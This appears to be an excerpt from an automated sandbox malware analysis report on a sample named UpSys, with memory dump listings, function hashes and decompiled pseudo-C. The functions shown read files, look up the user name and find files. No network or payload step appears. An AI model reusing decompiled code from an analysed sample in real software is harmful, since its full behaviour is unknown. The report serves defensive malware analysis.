                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FileFind$AttributesCloseFirst
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 48322524-0
                                                                                                                                                                                                        • Opcode ID: 6ae073e28553af0eb1c93969b7904ba65ccb67f28f2d43b800df4f8e20c97309
                                                                                                                                                                                                        • Instruction ID: d86300b5c0badf2817358beff9c3a532a18fe02898ef03972140b6075061db6c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 6ae073e28553af0eb1c93969b7904ba65ccb67f28f2d43b800df4f8e20c97309
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9BE01A31614604C2EA315736B8447D432606B497B4F540330FB7A0B6F1CA7CCA889A04
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400850DC Relevance: 1.5, APIs: 1, Instructions: 5COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 40%
                                                                                                                                                                                                        			E000000011400850DC(long long __rbx, long long __rsi, void* __r15) {
				intOrPtr _t8;
				void* _t9;
				intOrPtr* _t23;
				void* _t25;

				_t14 = __rbx;
				 *((intOrPtr*)(_t25 + 0x628)) = 0x104;
				GetUserNameW(??, ??); // executed
				_t8 =  *0x400c5f48; // 0x4
				if (_t8 == 3) goto 0x40085116;
				if (_t8 != 4) goto 0x40084bc7;
				_t9 = E00000001140007A40(__rbx, _t23, __rsi);
				 *_t23 = r12d;
				 *((intOrPtr*)(_t23 + 8)) = r12d;
				r12d = r14d;
				E00000001140002610(_t9, _t14, __r15);
				asm("inc ecx");
				return r12d;
			}







                                                                                                                                                                                                        0x1400850dc
                                                                                                                                                                                                        0x1400850ec
                                                                                                                                                                                                        0x1400850f7
                                                                                                                                                                                                        0x140085102
                                                                                                                                                                                                        0x14008510b
                                                                                                                                                                                                        0x140085110
                                                                                                                                                                                                        0x140085119
                                                                                                                                                                                                        0x14008511e
                                                                                                                                                                                                        0x140085122
                                                                                                                                                                                                        0x140085126
                                                                                                                                                                                                        0x14008512c
                                                                                                                                                                                                        0x140085140
                                                                                                                                                                                                        0x140085153

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: NameUser
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2645101109-0
                                                                                                                                                                                                        • Opcode ID: d2011e6d5a9bf48d5f39ee28a414f5bdce58d32002bb37e26327d54615a38b5e
                                                                                                                                                                                                        • Instruction ID: 496368807edacb6a91851c2efb1a51071c3eeab2290a829a8e4eee9d6807669c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d2011e6d5a9bf48d5f39ee28a414f5bdce58d32002bb37e26327d54615a38b5e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D4C04C7710AAC5D9D7719F01E4847DD6361F7CC394F500001D389039A8DF79C198CB15
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140024AFC Relevance: 37.2, APIs: 20, Strings: 1, Instructions: 485COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 58%
                                                                                                                                                                                                        			E00000001140024AFC(void* __eax, signed int __ecx, void* __esi, long long __rdx, void* __r8, signed int _a8, long long _a16, char _a24, char _a32, char _a33) {
				long long _v88;
				unsigned int _v96;
				signed int _v100;
				intOrPtr _v104;
				unsigned int _v112;
				long long _v120;
				void* __rbx;
				void* __rsi;
				void* __rbp;
				void* _t237;
				signed char _t240;
				int _t249;
				signed short _t251;
				void* _t259;
				int _t266;
				void* _t268;
				signed int _t269;
				void* _t279;
				signed int _t286;
				unsigned int _t287;
				void* _t289;
				void* _t290;
				void* _t291;
				signed int _t292;
				void* _t293;
				signed short _t300;
				char _t301;
				char _t302;
				signed int _t312;
				signed int _t313;
				void* _t341;
				void* _t346;
				signed short* _t417;
				intOrPtr _t419;
				intOrPtr _t424;
				intOrPtr _t425;
				long long _t427;
				char* _t430;
				intOrPtr* _t432;
				intOrPtr _t434;
				intOrPtr* _t440;
				intOrPtr* _t443;
				void* _t444;
				signed short* _t445;
				signed short* _t446;
				signed short* _t447;
				signed char* _t449;
				signed char* _t450;
				signed char* _t451;
				signed char* _t453;
				signed short* _t457;
				signed short* _t458;
				intOrPtr _t461;
				intOrPtr _t466;
				char* _t476;
				long long _t485;
				signed long long _t487;
				void* _t488;
				void* _t492;
				signed short* _t507;
				signed short* _t508;
				intOrPtr* _t511;
				signed short* _t512;
				signed short* _t513;
				signed short* _t516;
				signed short* _t518;
				signed long long _t520;
				void* _t521;
				void* _t523;

				_t492 = __r8;
				_t474 = __rdx;
				_a16 = __rdx;
				_a8 = __ecx;
				r12d = 0xfffffffe;
				_t417 = __ecx;
				_t286 = r8d;
				_v100 = r12d;
				_v96 = _t286;
				_t339 = __eax - r12d;
				if (__eax != r12d) goto 0x40024b48;
				E0000000114001EB04(__eax - r12d, __ecx);
				 *__ecx = 0;
				_t237 = E0000000114001EAE4(_t339, __ecx);
				 *__ecx = 9;
				goto 0x40025267;
				if (_t237 < 0) goto 0x40025241;
				_t341 = _t237 -  *0x400c88bc; // 0x20
				if (_t341 >= 0) goto 0x40025241;
				_t520 = __ecx >> 5;
				_t461 =  *((intOrPtr*)(0x140000000 + 0xc88c0 + _t520 * 8));
				_t487 = __ecx * 0x58;
				if (( *(_t461 + _t487 + 8) & 0x00000001) == 0) goto 0x40025241;
				if (_t286 - 0x7fffffff <= 0) goto 0x40024ba9;
				E0000000114001EB04(_t286 - 0x7fffffff, __ecx);
				 *__ecx = 0;
				_t240 = E0000000114001EAE4(_t286 - 0x7fffffff, __ecx);
				 *__ecx = 0x16;
				goto 0x40025253;
				if (_t286 == 0) goto 0x4002523d;
				if ((_t240 & 0x00000002) != 0) goto 0x4002523d;
				_t346 = __rdx - _t485;
				if (_t346 == 0) goto 0x40024b92;
				r15b =  *(_t461 + _t487 + 0x38);
				r8d = 4;
				r15b = r15b + r15b;
				r15b = r15b >> 1;
				if (_t346 == 0) goto 0x40024bef;
				if (_t346 != 0) goto 0x40024bea;
				if (( !_t286 & 0x00000001) == 0) goto 0x40024b92;
				_t287 = _t286 & 0xfffffffe;
				goto 0x40024c53;
				if (( !_t287 & 0x00000001) == 0) goto 0x40024b92;
				_t289 =  <  ? r8d : _t287 >> 1;
				E0000000114001D910(0, __ecx, _t444, _t461, _t487, _t488);
				_t518 = _t417;
				if (_t417 != _t485) goto 0x40024c2a;
				E0000000114001EAE4(_t417 - _t485, _t417);
				 *_t417 = 0xc;
				E0000000114001EB04(_t417 - _t485, _t417);
				 *_t417 = 8;
				goto 0x40025267;
				_t22 = _t474 + 1; // 0x1
				r8d = _t22;
				E0000000114002A580(_t289, _a8, 0, _t417 - _t485, _t417, _t444, __rdx, _t487, _t488, __r8);
				 *( *((intOrPtr*)(0x140000000 + 0xc88c0 + _t520 * 8)) + _t487 + 0x40) = _t417;
				_t419 =  *((intOrPtr*)(0x140000000 + 0xc88c0 + _t520 * 8));
				r8d = 0xa;
				if (( *(_t419 + _t487 + 8) & 0x00000048) == 0) goto 0x40024d0b;
				_t300 =  *((intOrPtr*)(_t419 + _t487 + 9));
				if (_t300 == r8b) goto 0x40024d0b;
				if (_t289 == 0) goto 0x40024d0b;
				 *_t518 = _t300;
				r10d = r10d | 0xffffffff;
				_t290 = _t289 + r10d;
				_t41 =  &(_t518[0]); // 0x1
				_t476 = _t41;
				 *((intOrPtr*)( *((intOrPtr*)(0x140000000 + 0xc88c0 + _t520 * 8)) + _t487 + 9)) = r8b;
				if (r15b == dil) goto 0x40024d0b;
				_t301 =  *((intOrPtr*)( *((intOrPtr*)(0x140000000 + 0xc88c0 + _t520 * 8)) + _t487 + 0x39));
				if (_t301 == r8b) goto 0x40024d0b;
				if (_t290 == 0) goto 0x40024d0b;
				 *_t476 = _t301;
				_t291 = _t290 + r10d;
				 *((intOrPtr*)( *((intOrPtr*)(0x140000000 + 0xc88c0 + _t520 * 8)) + _t487 + 0x39)) = r8b;
				if (r15b != 1) goto 0x40024d0b;
				_t302 =  *((intOrPtr*)( *((intOrPtr*)(0x140000000 + 0xc88c0 + _t520 * 8)) + _t487 + 0x3a));
				if (_t302 == r8b) goto 0x40024d0b;
				if (_t291 == 0) goto 0x40024d0b;
				 *((char*)(_t476 + 1)) = _t302;
				_t424 =  *((intOrPtr*)(0x140000000 + 0xc88c0 + _t520 * 8));
				_t64 = _t492 - 7; // -6
				_t292 = _t291 + r10d;
				 *((intOrPtr*)(_t424 + _t487 + 0x3a)) = r8b;
				r8d = _t292;
				_v120 = _t485;
				_t249 = ReadFile(??, ??, ??, ??, ??); // executed
				if (_t249 == 0) goto 0x40025201;
				if (0 < 0) goto 0x40025201;
				if (_v104 - _t424 > 0) goto 0x40025201;
				_t425 =  *((intOrPtr*)(0x140000000 + 0xc88c0 + _t520 * 8));
				if (( *(_t425 + _t487 + 8) & 0x00000080) == 0) goto 0x400251df;
				if (r15b == 2) goto 0x40025028;
				if (0 == 0) goto 0x40024d82;
				if ( *_t518 != 0xa) goto 0x40024d82;
				 *(_t425 + _t487 + 8) =  *(_t425 + _t487 + 8) | 0x00000004;
				goto 0x40024d87;
				 *(_t425 + _t487 + 8) =  *(_t425 + _t487 + 8) & 0x000000fb;
				_t445 = _t518;
				_t507 = _t518;
				_t427 = _t64 + _t518;
				_v88 = _t427;
				if (_t518 - _t427 >= 0) goto 0x40024edb;
				_t251 =  *_t507;
				if (_t251 == 0x1a) goto 0x40024ebc;
				if (_t251 == bpl) goto 0x40024dc4;
				 *_t445 = _t251;
				_t446 =  &(_t445[0]);
				_t508 =  &(_t507[0]);
				goto 0x40024eaf;
				if (_t508 - _v88 - 1 >= 0) goto 0x40024dec;
				_t92 =  &(_t508[0]); // 0x1
				_t430 = _t92;
				if ( *_t430 != 0xa) goto 0x40024de4;
				goto 0x40024e74;
				goto 0x40024ea9;
				_t97 =  &_a24; // 0x1000000ae
				r8d = 1;
				_t511 = _t430 + 1;
				_v120 = _t485;
				if (ReadFile(??, ??, ??, ??, ??) != 0) goto 0x40024e27;
				if (GetLastError() != 0) goto 0x40024ea2;
				if (_v104 == 0) goto 0x40024ea2;
				if (( *( *((intOrPtr*)(0x140000000 + 0xc88c0 + _t520 * 8)) + _t487 + 8) & 0x00000048) == 0) goto 0x40024e65;
				if (_a24 == 0xa) goto 0x40024e74;
				 *_t446 = bpl;
				_t466 =  *((intOrPtr*)(0x140000000 + 0xc88c0 + _t520 * 8));
				 *((char*)(_t466 + _t487 + 9)) = _a24;
				goto 0x40024eac;
				if (_t446 != _t518) goto 0x40024e79;
				if (_a24 != 0xa) goto 0x40024e79;
				 *_t446 = 0xa;
				goto 0x40024eac;
				r8d = 1;
				E0000000114002A580(_t292, _a8, 0, _a24 - 0xa,  *((intOrPtr*)(0x140000000 + 0xc88c0 + _t520 * 8)), _t446, _t97 | 0xffffffff, _t487, _t488, 0x140000000);
				if (_a24 == 0xa) goto 0x40024eaf;
				goto 0x40024ea9;
				 *_t446 = bpl;
				_t447 =  &(_t446[0]);
				if (_t511 - _v88 < 0) goto 0x40024da6;
				goto 0x40024edb;
				_t432 =  *((intOrPtr*)(0x140000000 + 0xc88c0 + _t520 * 8));
				if (( *(_t432 + _t487 + 8) & 0x00000040) != 0) goto 0x40024ed2;
				 *(_t432 + _t487 + 8) =  *(_t432 + _t487 + 8) | 0x00000002;
				goto 0x40024edb;
				 *_t447 =  *_t511;
				if (r15b != 1) goto 0x400251da;
				if (_t292 - r13d == 0) goto 0x400251da;
				r15d = 1;
				_t449 =  &(_t447[0]) - _t521;
				if (( *_t449 & 0x00000080) != 0) goto 0x40024f08;
				_t450 =  &(_t449[_t521]);
				goto 0x40024fba;
				_t312 = r15d;
				goto 0x40024f1d;
				if (_t312 - 4 > 0) goto 0x40024f2a;
				if (_t450 - _t518 < 0) goto 0x40024f2a;
				_t451 = _t450 - _t521;
				_t313 = _t312 + r15d;
				if ( *((intOrPtr*)(_t432 + 0x1400ae180)) == dil) goto 0x40024f0d;
				if ( *((char*)(_t466 + 0x1400ae180)) != 0) goto 0x40024f4e;
				_t259 = E0000000114001EAE4( *((char*)(_t466 + 0x1400ae180)), _t432);
				 *_t432 = 0x2a;
				r12d = r12d | 0xffffffff;
				goto 0x400251df;
				if (_t259 + 1 != _t313) goto 0x40024f5c;
				goto 0x40024fba;
				_t434 =  *((intOrPtr*)(0x140000000 + 0xc88c0 + _t520 * 8));
				if (( *(_t434 + _t487 + 8) & 0x00000048) == 0) goto 0x40024fa6;
				_t453 =  &(( &(_t451[_t313]))[_t521]);
				 *((char*)(_t434 + _t487 + 9)) =  *_t451 & 0x000000ff;
				if (_t313 - 2 < 0) goto 0x40024f88;
				 *((char*)( *((intOrPtr*)(0x140000000 + 0xc88c0 + _t520 * 8)) + _t487 + 0x39)) =  *_t453;
				if (_t313 != 3) goto 0x40024f9e;
				 *((char*)( *((intOrPtr*)(0x140000000 + 0xc88c0 + _t520 * 8)) + _t487 + 0x3a)) = _t453[_t521];
				goto 0x40024fba;
				r8d = r15d;
				E0000000114002A580(_t292, _a8,  ~_t313, _t313 - 3, _t313,  &(( &(_t453[_t521]))[_t521]) - _t313,  ~_t313, _t487, _t488, 0x140000000);
				_t293 = _t292 - r13d;
				r9d = _t293;
				_v112 = _v96 >> 1;
				_v120 = _a16;
				_t266 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
				if (_t266 != 0) goto 0x40025003;
				_t268 = E0000000114001EB24(GetLastError(), _t266, _t313, _t518);
				r12d = r12d | 0xffffffff;
				goto 0x400251e7;
				r12d = _v100;
				dil = _t268 != _t293;
				 *((intOrPtr*)(0x140000000 + _t487 + 0x48)) = 0;
				goto 0x400251e7;
				if (0 == 0) goto 0x4002503f;
				if ( *_t518 != 0xa) goto 0x4002503f;
				 *(0x140000000 + _t487 + 8) =  *(0x140000000 + _t487 + 8) | 0x00000004;
				goto 0x40025044;
				 *(0x140000000 + _t487 + 8) =  *( *((intOrPtr*)(0x140000000 + 0xc88c0 + _t520 * 8)) + _t487 + 8) & 0x000000fb;
				_t457 = _t518;
				_t512 = _t518;
				_t523 = _t266 + _t266 + _t518;
				if (_t518 - _t523 >= 0) goto 0x400251d5;
				_t269 =  *_t512 & 0x0000ffff;
				if (_t269 == 0x1a) goto 0x400251b3;
				if (_t269 == 0xd) goto 0x40025083;
				 *_t457 = _t269;
				_t458 =  &(_t457[1]);
				_t513 =  &(_t512[1]);
				goto 0x400251a8;
				if (_t513 - _t523 - 2 >= 0) goto 0x400250a7;
				_t180 =  &(_t513[1]); // 0x2
				_t440 = _t180;
				if ( *_t440 != 0xa) goto 0x4002509f;
				goto 0x40025161;
				goto 0x400251a1;
				r8d = 2;
				_t516 = _t440 + 2;
				_v120 = _t485;
				if (ReadFile(??, ??, ??, ??, ??) != 0) goto 0x400250e7;
				if (GetLastError() != 0) goto 0x40025195;
				if (_v104 == 0) goto 0x40025195;
				if (( *( *((intOrPtr*)(0x140000000 + 0xc88c0 + _t520 * 8)) + _t487 + 8) & 0x00000048) == 0) goto 0x4002514d;
				if (_a32 == 0xa) goto 0x40025161;
				 *_t458 = 0xd;
				 *((char*)( *((intOrPtr*)(0x140000000 + 0xc88c0 + _t520 * 8)) + _t487 + 9)) = _a32;
				 *((char*)( *((intOrPtr*)(0x140000000 + 0xc88c0 + _t520 * 8)) + _t487 + 0x39)) = _a33;
				 *((char*)( *((intOrPtr*)(0x140000000 + 0xc88c0 + _t520 * 8)) + _t487 + 0x3a)) = 0xa;
				goto 0x400251a4;
				if (_t458 != _t518) goto 0x40025166;
				if (_a32 != 0xa) goto 0x40025166;
				 *_t458 = 0xa;
				goto 0x400251a4;
				r8d = 1;
				E0000000114002A580(_t293, _a8, 0xa, _a32 - 0xa,  *((intOrPtr*)(0x140000000 + 0xc88c0 + _t520 * 8)), _t458, 0xfffffffe, _t487, _t488, 0x140000000);
				if (_a32 == 0xa) goto 0x400251a8;
				goto 0x400251a1;
				 *_t458 = 0xd;
				if (_t516 - _t523 < 0) goto 0x4002505f;
				goto 0x400251d5;
				_t443 =  *((intOrPtr*)(0x140000000 + 0xc88c0 + _t520 * 8));
				if (( *(_t443 + _t487 + 8) & 0x00000040) != 0) goto 0x400251c9;
				 *(_t443 + _t487 + 8) =  *(_t443 + _t487 + 8) | 0x00000002;
				goto 0x400251d5;
				_t458[1] =  *_t516 & 0x0000ffff;
				r12d = _v100;
				if (_t518 == _a16) goto 0x400251f4;
				free(??);
				r12d =  ==  ? _t293 - r13d : r12d;
				goto 0x4002526a;
				if (GetLastError() != 5) goto 0x40025227;
				E0000000114001EAE4(GetLastError() - 5, _t443);
				 *_t443 = 9;
				_t279 = E0000000114001EB04(GetLastError() - 5, _t443);
				 *_t443 = 5;
				goto 0x40024f45;
				if (_t279 != 0x6d) goto 0x40025231;
				r12d = 0;
				goto 0x400251df;
				E0000000114001EB24(_t279, _t279 - 0x6d, _t443, 0x140000000);
				goto 0x40024f45;
				goto 0x4002526a;
				E0000000114001EB04(_t279 - 0x6d, _t443);
				 *_t443 = 0;
				E0000000114001EAE4(_t279 - 0x6d, _t443);
				 *_t443 = 9;
				r9d = 0;
				r8d = 0;
				_v120 = _t485;
				return E0000000114001EA14(_t443,  &(_t458[2]), _t518, 0xfffffffe, _t487, _t488, 0x140000000) | 0xffffffff;
			}








































































                                                                                                                                                                                                        0x140024afc
                                                                                                                                                                                                        0x140024afc
                                                                                                                                                                                                        0x140024afc
                                                                                                                                                                                                        0x140024b01
                                                                                                                                                                                                        0x140024b15
                                                                                                                                                                                                        0x140024b1b
                                                                                                                                                                                                        0x140024b1e
                                                                                                                                                                                                        0x140024b21
                                                                                                                                                                                                        0x140024b26
                                                                                                                                                                                                        0x140024b2a
                                                                                                                                                                                                        0x140024b2d
                                                                                                                                                                                                        0x140024b2f
                                                                                                                                                                                                        0x140024b36
                                                                                                                                                                                                        0x140024b38
                                                                                                                                                                                                        0x140024b3d
                                                                                                                                                                                                        0x140024b43
                                                                                                                                                                                                        0x140024b4c
                                                                                                                                                                                                        0x140024b52
                                                                                                                                                                                                        0x140024b58
                                                                                                                                                                                                        0x140024b6b
                                                                                                                                                                                                        0x140024b72
                                                                                                                                                                                                        0x140024b7a
                                                                                                                                                                                                        0x140024b84
                                                                                                                                                                                                        0x140024b90
                                                                                                                                                                                                        0x140024b92
                                                                                                                                                                                                        0x140024b97
                                                                                                                                                                                                        0x140024b99
                                                                                                                                                                                                        0x140024b9e
                                                                                                                                                                                                        0x140024ba4
                                                                                                                                                                                                        0x140024bad
                                                                                                                                                                                                        0x140024bb5
                                                                                                                                                                                                        0x140024bbb
                                                                                                                                                                                                        0x140024bbe
                                                                                                                                                                                                        0x140024bc0
                                                                                                                                                                                                        0x140024bc5
                                                                                                                                                                                                        0x140024bcb
                                                                                                                                                                                                        0x140024bce
                                                                                                                                                                                                        0x140024bd8
                                                                                                                                                                                                        0x140024bdd
                                                                                                                                                                                                        0x140024be5
                                                                                                                                                                                                        0x140024be7
                                                                                                                                                                                                        0x140024bed
                                                                                                                                                                                                        0x140024bf5
                                                                                                                                                                                                        0x140024bfc
                                                                                                                                                                                                        0x140024c02
                                                                                                                                                                                                        0x140024c07
                                                                                                                                                                                                        0x140024c0d
                                                                                                                                                                                                        0x140024c0f
                                                                                                                                                                                                        0x140024c14
                                                                                                                                                                                                        0x140024c1a
                                                                                                                                                                                                        0x140024c1f
                                                                                                                                                                                                        0x140024c25
                                                                                                                                                                                                        0x140024c33
                                                                                                                                                                                                        0x140024c33
                                                                                                                                                                                                        0x140024c37
                                                                                                                                                                                                        0x140024c4e
                                                                                                                                                                                                        0x140024c53
                                                                                                                                                                                                        0x140024c5e
                                                                                                                                                                                                        0x140024c69
                                                                                                                                                                                                        0x140024c6f
                                                                                                                                                                                                        0x140024c76
                                                                                                                                                                                                        0x140024c7e
                                                                                                                                                                                                        0x140024c84
                                                                                                                                                                                                        0x140024c90
                                                                                                                                                                                                        0x140024c94
                                                                                                                                                                                                        0x140024c97
                                                                                                                                                                                                        0x140024c97
                                                                                                                                                                                                        0x140024c9f
                                                                                                                                                                                                        0x140024ca7
                                                                                                                                                                                                        0x140024cb1
                                                                                                                                                                                                        0x140024cb8
                                                                                                                                                                                                        0x140024cbc
                                                                                                                                                                                                        0x140024cbe
                                                                                                                                                                                                        0x140024cc8
                                                                                                                                                                                                        0x140024cd2
                                                                                                                                                                                                        0x140024cdb
                                                                                                                                                                                                        0x140024ce5
                                                                                                                                                                                                        0x140024cec
                                                                                                                                                                                                        0x140024cf0
                                                                                                                                                                                                        0x140024cf2
                                                                                                                                                                                                        0x140024cf4
                                                                                                                                                                                                        0x140024cff
                                                                                                                                                                                                        0x140024d03
                                                                                                                                                                                                        0x140024d06
                                                                                                                                                                                                        0x140024d18
                                                                                                                                                                                                        0x140024d1f
                                                                                                                                                                                                        0x140024d24
                                                                                                                                                                                                        0x140024d2c
                                                                                                                                                                                                        0x140024d39
                                                                                                                                                                                                        0x140024d44
                                                                                                                                                                                                        0x140024d53
                                                                                                                                                                                                        0x140024d60
                                                                                                                                                                                                        0x140024d6a
                                                                                                                                                                                                        0x140024d72
                                                                                                                                                                                                        0x140024d79
                                                                                                                                                                                                        0x140024d7b
                                                                                                                                                                                                        0x140024d80
                                                                                                                                                                                                        0x140024d82
                                                                                                                                                                                                        0x140024d8a
                                                                                                                                                                                                        0x140024d8d
                                                                                                                                                                                                        0x140024d90
                                                                                                                                                                                                        0x140024d93
                                                                                                                                                                                                        0x140024d9b
                                                                                                                                                                                                        0x140024da6
                                                                                                                                                                                                        0x140024dac
                                                                                                                                                                                                        0x140024db5
                                                                                                                                                                                                        0x140024db7
                                                                                                                                                                                                        0x140024db9
                                                                                                                                                                                                        0x140024dbc
                                                                                                                                                                                                        0x140024dbf
                                                                                                                                                                                                        0x140024dcf
                                                                                                                                                                                                        0x140024dd1
                                                                                                                                                                                                        0x140024dd1
                                                                                                                                                                                                        0x140024dd9
                                                                                                                                                                                                        0x140024ddf
                                                                                                                                                                                                        0x140024de7
                                                                                                                                                                                                        0x140024df9
                                                                                                                                                                                                        0x140024e05
                                                                                                                                                                                                        0x140024e0b
                                                                                                                                                                                                        0x140024e0e
                                                                                                                                                                                                        0x140024e1b
                                                                                                                                                                                                        0x140024e25
                                                                                                                                                                                                        0x140024e2b
                                                                                                                                                                                                        0x140024e41
                                                                                                                                                                                                        0x140024e4b
                                                                                                                                                                                                        0x140024e4d
                                                                                                                                                                                                        0x140024e50
                                                                                                                                                                                                        0x140024e5f
                                                                                                                                                                                                        0x140024e63
                                                                                                                                                                                                        0x140024e68
                                                                                                                                                                                                        0x140024e72
                                                                                                                                                                                                        0x140024e74
                                                                                                                                                                                                        0x140024e77
                                                                                                                                                                                                        0x140024e80
                                                                                                                                                                                                        0x140024e8a
                                                                                                                                                                                                        0x140024e9e
                                                                                                                                                                                                        0x140024ea0
                                                                                                                                                                                                        0x140024ea9
                                                                                                                                                                                                        0x140024eac
                                                                                                                                                                                                        0x140024eb4
                                                                                                                                                                                                        0x140024eba
                                                                                                                                                                                                        0x140024ebc
                                                                                                                                                                                                        0x140024ec9
                                                                                                                                                                                                        0x140024ecb
                                                                                                                                                                                                        0x140024ed0
                                                                                                                                                                                                        0x140024ed6
                                                                                                                                                                                                        0x140024ee4
                                                                                                                                                                                                        0x140024eec
                                                                                                                                                                                                        0x140024ef2
                                                                                                                                                                                                        0x140024ef8
                                                                                                                                                                                                        0x140024efe
                                                                                                                                                                                                        0x140024f00
                                                                                                                                                                                                        0x140024f03
                                                                                                                                                                                                        0x140024f08
                                                                                                                                                                                                        0x140024f0b
                                                                                                                                                                                                        0x140024f10
                                                                                                                                                                                                        0x140024f15
                                                                                                                                                                                                        0x140024f17
                                                                                                                                                                                                        0x140024f1a
                                                                                                                                                                                                        0x140024f28
                                                                                                                                                                                                        0x140024f38
                                                                                                                                                                                                        0x140024f3a
                                                                                                                                                                                                        0x140024f3f
                                                                                                                                                                                                        0x140024f45
                                                                                                                                                                                                        0x140024f49
                                                                                                                                                                                                        0x140024f52
                                                                                                                                                                                                        0x140024f5a
                                                                                                                                                                                                        0x140024f5c
                                                                                                                                                                                                        0x140024f69
                                                                                                                                                                                                        0x140024f6b
                                                                                                                                                                                                        0x140024f71
                                                                                                                                                                                                        0x140024f75
                                                                                                                                                                                                        0x140024f84
                                                                                                                                                                                                        0x140024f8b
                                                                                                                                                                                                        0x140024f9a
                                                                                                                                                                                                        0x140024fa4
                                                                                                                                                                                                        0x140024faf
                                                                                                                                                                                                        0x140024fb5
                                                                                                                                                                                                        0x140024fc6
                                                                                                                                                                                                        0x140024fcb
                                                                                                                                                                                                        0x140024fd1
                                                                                                                                                                                                        0x140024fdc
                                                                                                                                                                                                        0x140024fe1
                                                                                                                                                                                                        0x140024feb
                                                                                                                                                                                                        0x140024ff5
                                                                                                                                                                                                        0x140024ffa
                                                                                                                                                                                                        0x140024ffe
                                                                                                                                                                                                        0x140025003
                                                                                                                                                                                                        0x140025019
                                                                                                                                                                                                        0x14002501f
                                                                                                                                                                                                        0x140025023
                                                                                                                                                                                                        0x14002502f
                                                                                                                                                                                                        0x140025036
                                                                                                                                                                                                        0x140025038
                                                                                                                                                                                                        0x14002503d
                                                                                                                                                                                                        0x14002503f
                                                                                                                                                                                                        0x140025047
                                                                                                                                                                                                        0x14002504a
                                                                                                                                                                                                        0x14002504d
                                                                                                                                                                                                        0x140025054
                                                                                                                                                                                                        0x14002505f
                                                                                                                                                                                                        0x140025068
                                                                                                                                                                                                        0x140025071
                                                                                                                                                                                                        0x140025073
                                                                                                                                                                                                        0x140025076
                                                                                                                                                                                                        0x14002507a
                                                                                                                                                                                                        0x14002507e
                                                                                                                                                                                                        0x14002508a
                                                                                                                                                                                                        0x14002508c
                                                                                                                                                                                                        0x14002508c
                                                                                                                                                                                                        0x140025094
                                                                                                                                                                                                        0x14002509a
                                                                                                                                                                                                        0x1400250a2
                                                                                                                                                                                                        0x1400250c0
                                                                                                                                                                                                        0x1400250c6
                                                                                                                                                                                                        0x1400250ca
                                                                                                                                                                                                        0x1400250d7
                                                                                                                                                                                                        0x1400250e1
                                                                                                                                                                                                        0x1400250eb
                                                                                                                                                                                                        0x140025105
                                                                                                                                                                                                        0x140025114
                                                                                                                                                                                                        0x140025116
                                                                                                                                                                                                        0x140025128
                                                                                                                                                                                                        0x14002513b
                                                                                                                                                                                                        0x140025147
                                                                                                                                                                                                        0x14002514b
                                                                                                                                                                                                        0x140025150
                                                                                                                                                                                                        0x14002515f
                                                                                                                                                                                                        0x140025161
                                                                                                                                                                                                        0x140025164
                                                                                                                                                                                                        0x140025174
                                                                                                                                                                                                        0x140025178
                                                                                                                                                                                                        0x140025191
                                                                                                                                                                                                        0x140025193
                                                                                                                                                                                                        0x1400251a1
                                                                                                                                                                                                        0x1400251ab
                                                                                                                                                                                                        0x1400251b1
                                                                                                                                                                                                        0x1400251b3
                                                                                                                                                                                                        0x1400251c0
